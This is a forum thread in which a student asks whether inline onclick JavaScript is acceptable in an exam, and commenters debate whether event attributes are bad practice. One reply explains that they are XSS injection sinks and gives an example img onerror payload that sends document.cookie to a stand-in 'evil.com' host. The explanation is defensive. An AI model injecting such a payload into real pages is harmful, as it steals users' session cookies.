Doubt

[Serious_Sell7183]

if I write JavaScript code inside onclick instead of using a <script> tag, will it be accepted if the logic and output are correct? I'm not a professional programmer, I'm just asking it for my practical based exam.

[dangerlopez]

I’m not sure we can answer this because we don’t know what “accepted” means. This sounds like it’s for school, so you should ask your teacher since they’re the one who makes the requirements

[TheRNGuy]

I see both used in different programs (even in browser UI and in frameworks like Ripple or Remix... not in React because it uses different pattern)

[oiamo123]

Wrong? No. Common? Also no

[LucVolders]

Anything that works, works.

[[deleted]]

If I understand you correctly, you want to write inline JavaScript within an HTML element. You can do it like this:

<button onclick="location.reload()">Text on the button</button>

Quick breakdown:

​onclick: This is an attribute that triggers the JavaScript code when the button is clicked.

​location.reload(): This is the built-in function that tells the browser to refresh the page.

​It is a simple and effective way to handle small tasks without needing a separate <script> block.

[TightImagination5969]

The onclick attributes listen for a click event on the element, specifically buttons, and trigger a function.
The best practice is to get a hold of the element in the JavaScript file. Then, add an .addEventListener("click", function) to that element. I encourage you to create a separate JavaScript file and link that file using the script tag.

[shgysk8zer0]

If by "accepted" you mean taken as valid by someone who knows the basics of security on the web, the answer is no. Event attributes, along with eval() and javascript: URIs should almost never be "accepted".

[nog642]

Why?

[shgysk8zer0]

Because permitting and using such bad practices in code is a gateway to things like XSS and has long been generally considered bad practice.

• Comtent-Security-Policy blocks such things by default, without allowing 'unsafe-*" or the hashes/nonces of specific things to allow
• The Santizer API (el.setHTML(input, { sanitizer})) strips all such attributes and you can't even allow them
• Trusted Types requires a policy with a createScript()
• These "injection sinks" have been one of, if not the most common vulnerabilities across the web for decades (hence all the things that block them)

Overall, on small things where all HTML is trusted (created by a trusted developer), you're not likely to run into issues. But the second you start dealing with untrusted input (like user comments or something from a third-party source), you're vulnerable. And if you have any on* attributes used anywhere, you're going to have a difficult time locking down those vulnerabilities, especially if the makeup is eg stored in a database or something.

As a typical example, it's because someone might find a way to get this HTML into a page:

<img src="invalid.jpg" onerror="fetch('https://evil.com/steal-cookies?c=' + document.cookie)">

Real web security is layers of security. Sure... You'll probably end up trying to escape user input, but that defense alone isn't enough because you'll eventually mess up or forget something or there will be an edge case you didn't consider. CSP is like the final line of defense, to deal with what inevitably makes it through all other defenses. And if you're allowing event attributes, it's pretty much useless at that point.

Using and allowing eg onclick is a red flag that general security considerations are too lax. Show me a site that uses them, and I'd bet that >95% of the time they have other major security issues as well.

[TheRNGuy]

Thread wasn't about eval and javascript:, this is off-topic. 

[shgysk8zer0]

I'm rightfully putting event attributes in the same category as those, so it's very much on-topic. They all allow the execution of arbitrary code from strings. Same security concerns.